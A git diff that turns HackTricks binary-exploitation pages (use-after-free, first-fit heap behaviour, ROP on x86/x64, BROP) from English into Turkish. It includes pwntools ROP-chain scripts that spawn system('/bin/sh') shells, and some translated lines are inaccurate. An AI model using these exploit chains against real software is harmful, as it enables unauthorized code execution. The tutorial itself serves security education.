bir 1B taşmasını kullanarak libc bilgi sızıntısı elde etme ve ardından malloc hook'u bir gadget adresi ile geçersiz kılma örneği. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Sadece `0x100`'den büyük boyutlarda chunk'lar tahsis edebiliriz. +- Unsorted Bin saldırısını kullanarak `global_max_fast`'ı geçersiz kılma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 bit değiştirmemiz gerekir, ancak 16 bit değiştirmeliyiz). +- Global bir chunk dizisini değiştirmek için hızlı bin saldırısı. Bu, GOT'u değiştirme ve bazı işlevleri `system`'a işaret etme yeteneği veren rastgele bir okuma/yazma ilkesidir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index d6fd34f42..4e16fceb9 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -1,17 +1,17 @@ -# Use After Free +# Kullanımdan Sonra Serbest Bırakma {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. +İsminin de belirttiği gibi, bu zafiyet bir programın **bir nesne için yığın** içinde **bir alan sakladığında**, oraya bazı bilgileri **yazdığında**, görünüşte artık gerekli olmadığı için **serbest bıraktığında** ve ardından **tekrar eriştiğinde** meydana gelir. -The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). +Buradaki sorun, **serbest bırakılmış belleğe erişildiğinde** (bir **hata olmayacaktır**) yasal olmamasıdır. Yani, eğer program (veya saldırgan) **serbest bırakılmış belleği tahsis edip keyfi veriler saklayabilirse**, serbest bırakılmış bellek başlangıç işaretçisinden erişildiğinde **veri üzerine yazılmış olur** ve bu da **orijinal olarak saklanan verinin hassasiyetine bağlı olarak bir zafiyet oluşturur** (eğer çağrılacak bir işlevin işaretçisi ise, bir saldırgan bunu kontrol edebilir). -### First Fit attack +### İlk Uygun Saldırı -A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ -Check more info in: +İlk uygun saldırı, glibc gibi bazı bellek ayırıcılarının serbest bırakılmış belleği yönetme şekline yöneliktir. Bir bellek bloğunu serbest bıraktığınızda, bu bir listeye eklenir ve yeni bellek talepleri o listeden sonundan çekilir. Saldırganlar, **hangi bellek bloklarının yeniden kullanıldığını manipüle etmek için bu davranışı kullanabilir, bu da onlara kontrol kazandırabilir**. Bu, bir saldırganın **yeniden tahsis edilen belleğin içeriğini değiştirebileceği** "kullanımdan sonra serbest bırakma" sorunlarına yol açabilir, bu da bir güvenlik riski oluşturur.\ +Daha fazla bilgi için kontrol edin: {{#ref}} first-fit.md diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7bab07aea..ca231cb67 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -1,39 +1,36 @@ -# First Fit +# İlk Uygun {{#include ../../../banners/hacktricks-training.md}} -## **First Fit** +## **İlk Uygun** -When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. +glibc kullanarak bir programda bellek serbest bıraktığınızda, bellek parçalarını yönetmek için farklı "kutular" kullanılır. İşte iki yaygın senaryonun basitleştirilmiş bir açıklaması: sıralanmamış kutular ve hızlı kutular. -### Unsorted Bins +### Sıralanmamış Kutular -When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. +Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların ön tarafa (baş) eklendiği bir liste gibi davranır. Yeni bir bellek parçası talep ettiğinizde, allocator sıralanmamış kutuya arka taraftan (kuyruk) bakarak yeterince büyük bir parça bulmaya çalışır. Sıralanmamış kutudan bir parça, ihtiyacınız olandan büyükse, bu parça bölünür; ön kısım geri döner ve kalan kısım kutuda kalır. -Example: - -- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`). -- When you free `a`, it goes to the unsorted bin. -- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin. - - `c` will be pointing to the previous `a` and filled with the `a's`. +Örnek: +- 300 bayt (`a`) ayırırsınız, ardından 250 bayt (`b`), `a`yı serbest bırakırsınız ve tekrar 250 bayt (`c`) talep edersiniz. +- `a`yı serbest bıraktığınızda, bu sıralanmamış kutuya gider. +- Eğer sonra tekrar 250 bayt talep ederseniz, allocator `a`yı kuyrukta bulur ve onu böler, talebinize uyan kısmı geri döner ve geri kalanını kutuda tutar. +- `c`, önceki `a`ya işaret edecek ve `a` ile doldurulacaktır. ```c char *a = malloc(300); char *b = malloc(250); free(a); char *c = malloc(250); ``` - ### Fastbins -Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. +Fastbins, küçük bellek parçaları için kullanılır. Sıralanmamış kutuların aksine, fastbins yeni parçaları başa ekler, bu da son giren ilk çıkar (LIFO) davranışı oluşturur. Küçük bir bellek parçası talep ettiğinizde, ayırıcı fastbin'in başından alır. -Example: - -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +Örnek: +- Dört adet 20 baytlık parça ayırırsınız (`a`, `b`, `c`, `d`). +- Onları herhangi bir sırayla serbest bıraktığınızda, serbest bırakılan parçalar fastbin'in başına eklenir. +- Daha sonra 20 baytlık bir parça talep ederseniz, ayırıcı fastbin'in başından en son serbest bırakılan parçayı döndürecektir. ```c char *a = malloc(20); char *b = malloc(20); @@ -48,17 +45,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` - -## Other References & Examples +## Diğer Referanslar & Örnekler - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** +- ARM64. Kullanımdan sonra serbest bırakma: Bir kullanıcı nesnesi oluşturun, serbest bırakın, serbest bırakılan parçayı alan bir nesne oluşturun ve buna yazma izni verin, **öncekinden user->password konumunu üzerine yazarak**. Kullanıcıyı yeniden kullanarak **şifre kontrolünü atlayın**. - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note. - - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. +- Program notlar oluşturulmasına izin verir. Bir not, bir malloc(8) içinde not bilgilerini (çağrılabilecek bir işlevin işaretçisi ile) ve notun içeriği ile başka bir malloc(\) işaretçisini içerecektir. +- Saldırı, not bilgisi boyutundan daha büyük malloc içeriklerine sahip 2 not (note0 ve note1) oluşturmak ve ardından bunları serbest bırakmak olacaktır, böylece hızlı kutuya (veya tcache) gireceklerdir. +- Ardından, içerik boyutu 8 olan başka bir not (note2) oluşturun. İçerik, işlev işaretçisini win işlevine işaret edecek şekilde değiştirebileceğimiz note1'de olacak ve ardından Kullanımdan Sonra Serbest Bırakma ile note1'i yeni işlev işaretçisini çağırmak için kullanın. - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. +- Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden ayırmak ve önceki veriler hala orada olduğu için, parçadaki yeni beklenen yapı ile işlenmesi mümkün hale gelir, bu da değeri ayarlayıp bayrağı almayı sağlar. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. +- Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu da tahsis edilen ilk parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni tahsis edilen parçanın dizideki numarası saklanır. Ardından, 4 parça (+ başlangıçta tahsis edilen) ayırın, sonuncusu içinde 4 olacak, bunları serbest bırakın ve ilk parçanın yeniden tahsis edilmesini zorlayın, bu da içinde 4 olan son serbest bırakılan parçayı kullanacaktır. diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 29e21bca5..23b264e19 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Temel Bilgiler** -**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. +**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani **"gadgets"** kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve kayıtlar arasında veri taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir. -### How ROP Works +### ROP Nasıl Çalışır -1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. -2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. -3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. +1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılmakla yapılır. +2. **Gadget Zincirleme**: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin, `system("/bin/sh")`) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir. +3. **Yükün Çalıştırılması**: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar. -### Tools +### Araçlar -Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools**'tan ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) bulunabilir. -## ROP Chain in x86 Example +## x86 Örneğinde ROP Zinciri -### **x86 (32-bit) Calling conventions** +### **x86 (32-bit) Çağrı Konvansiyonları** -- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** -- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. +- **cdecl**: Çağrıyı yapan yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.** +- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur. -### **Finding Gadgets** +### **Gadget Bulma** -First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: +Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır: -- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. -- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. -- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. -- Additionally, we have the address of the `system()` function available. +- `pop eax; ret`: Bu gadget, yığının en üstündeki değeri `EAX` kaydına alır ve ardından döner, böylece `EAX`'ı kontrol etmemizi sağlar. +- `pop ebx; ret`: Yukarıdaki gibi, ancak `EBX` kaydı için, `EBX` üzerinde kontrol sağlar. +- `mov [ebx], eax; ret`: `EAX`'taki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle **write-what-where gadget** olarak adlandırılır. +- Ayrıca, `system()` fonksiyonunun adresine de sahibiz. -### **ROP Chain** +### **ROP Zinciri** -Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: - -1. A `ret` instruction for alignment purposes (optional) -2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/)) -3. Placeholder for the return address from `system()` -4. `"/bin/sh"` string address (parameter for system function) +**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin: +1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı) +2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/)) +3. `system()`'den dönüş adresi için yer tutucu +4. `"/bin/sh"` dizesinin adresi (system fonksiyonu için parametre) ```python from pwn import * @@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th # Construct the ROP chain rop_chain = [ - ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues - system_addr, # Address of system(). Execution will continue here after the ret gadget - 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. - bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use @@ -74,28 +73,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +## ROP Zinciri x64 Örneği -## ROP Chain in x64 Example +### **x64 (64-bit) Çağrı Konvansiyonları** -### **x64 (64-bit) Calling conventions** +- **System V AMD64 ABI** çağrı konvansiyonunu Unix benzeri sistemlerde kullanır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. +- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. +- **Kayıtlar**: 64-bit kayıtlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8`'den `R15`'e kadar içerir. -- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. -- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. -- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. +#### **Gadget'ları Bulma** -#### **Finding Gadgets** +Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()**'e argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: -For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: +- **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir. +- **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için faydalıdır. -- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. -- **ret**: A simple return, useful for stack alignment in some scenarios. +Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz. -And we know the address of the **system()** function. - -### **ROP Chain** - -Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: +### **ROP Zinciri** +Aşağıda, **pwntools** kullanarak **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır: ```python from pwn import * @@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ - ret_gadget, # Alignment gadget, if needed - pop_rdi_gadget, # pop rdi; ret - bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() - system_addr # Address of system(). Execution will continue here. +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use @@ -130,66 +127,65 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +Bu örnekte: -In this example: +- **`pop rdi; ret`** gadget'ını **`RDI`**'yi **`"/bin/sh"`** adresine ayarlamak için kullanıyoruz. +- **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, zincirde **system()**'in adresi ile. +- Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu da **x64**'te işlevleri çağırmadan önce doğru yığın hizalamasını sağlamak için daha yaygındır. -- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. -- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain. -- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions. +### Yığın Hizalaması -### Stack Alignment +**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16 bayt hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için **SSE instructions** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'inde başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. -**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. - -## x86 vs x64 main difference +## x86 ile x64 arasındaki ana fark > [!TIP] -> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). +> **x64 ilk birkaç argüman için register'lar kullandığından**, genellikle basit işlev çağrıları için x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulmak ve zincirlemek, register sayısının artması ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisindeki artan register sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında istismar geliştirme için hem fırsatlar hem de zorluklar sunar. -## ROP chain in ARM64 Example +## ARM64 Örneğinde ROP zinciri -### **ARM64 Basics & Calling conventions** +### **ARM64 Temelleri ve Çağrı Konvansiyonları** -Check the following page for this information: +Bu bilgi için aşağıdaki sayfayı kontrol edin: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +## ROP'a Karşı Koruma -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain -- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, gadget'ların adreslerinin yürütme sırasında değişmesi nedeniyle ROP kullanımını zorlaştırır. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Bir BOF durumunda, ROP zincirini kötüye kullanmak için dönüş işaretçilerini yazmak için yığın kanaryasını atlatmak gerekir. +- **Gadget Eksikliği**: Yeterli gadget yoksa bir ROP zinciri oluşturmak mümkün olmayacaktır. -## ROP based techniques +## ROP Tabanlı Teknikler -Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: +ROP'un, keyfi kod yürütmek için sadece bir teknik olduğunu unutmayın. ROP'a dayalı olarak birçok Ret2XXX tekniği geliştirilmiştir: -- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. +- **Ret2lib**: ROP kullanarak, yüklenmiş bir kütüphaneden keyfi işlevleri keyfi parametrelerle çağırmak (genellikle `system('/bin/sh')` gibi). {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. +- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutlar yürütmek. {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). +- **EBP2Ret & EBP Zincirleme**: İlki akışı kontrol etmek için EIP yerine EBP'yi kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak bu durumda akış esas olarak EBP adresleri ile kontrol edilir (ancak EIP'yi kontrol etmek de gereklidir). {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## Other Examples & References +## Diğer Örnekler ve Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag +- 64 bit, Pie ve nx etkin, kanaryasız, RIP'i yalnızca yığındaki bir sonraki adrese geri dönmek amacıyla bir `vsyscall` adresi ile yazma - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek ve yığında shellcode'a atlamak için ROP gadget {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 94d93bd6f..ce458d3d5 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -2,123 +2,123 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ -This attack is based on the following scenario: +Bu saldırının amacı, **savunmasız ikili hakkında herhangi bir bilgi olmadan bir ROP'u kötüye kullanabilmektir**.\ +Bu saldırı aşağıdaki senaryoya dayanmaktadır: -- A stack vulnerability and knowledge of how to trigger it. -- A server application that restarts after a crash. +- Bir yığın zafiyeti ve bunu tetikleme bilgisi. +- Çöktükten sonra yeniden başlatılan bir sunucu uygulaması. -## Attack +## Saldırı -### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected +### **1. Savunmasız ofseti bul** sunucu arızası tespit edilene kadar bir karakter daha göndererek -### **2. Brute-force canary** to leak it +### **2. Canary'yi brute-force ile bul** -### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them +### **3. Yığın içindeki saklanan RBP ve RIP adreslerini brute-force ile bul** -You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). +Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). -### **4. Find the stop gadget** +### **4. Durdurma gadget'ını bul** -This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed +Bu gadget, ROP gadget'ı tarafından ilginç bir şeyin çalıştırıldığını doğrulamayı sağlar çünkü yürütme çökmez. Genellikle, bu gadget **yürütmeyi durduracak** bir şeydir ve belirli bir ROP gadget'ının çalıştırıldığını doğrulamak için ROP zincirinin sonunda yer alır. -### **5. Find BROP gadget** +### **5. BROP gadget'ını bul** -This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: +Bu teknik [**ret2csu**](ret2csu.md) gadget'ını kullanır. Bunun nedeni, bu gadget'a bazı talimatların ortasında erişirseniz **`rsi`** ve **`rdi`**'yi kontrol eden gadget'lar elde etmenizdir:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

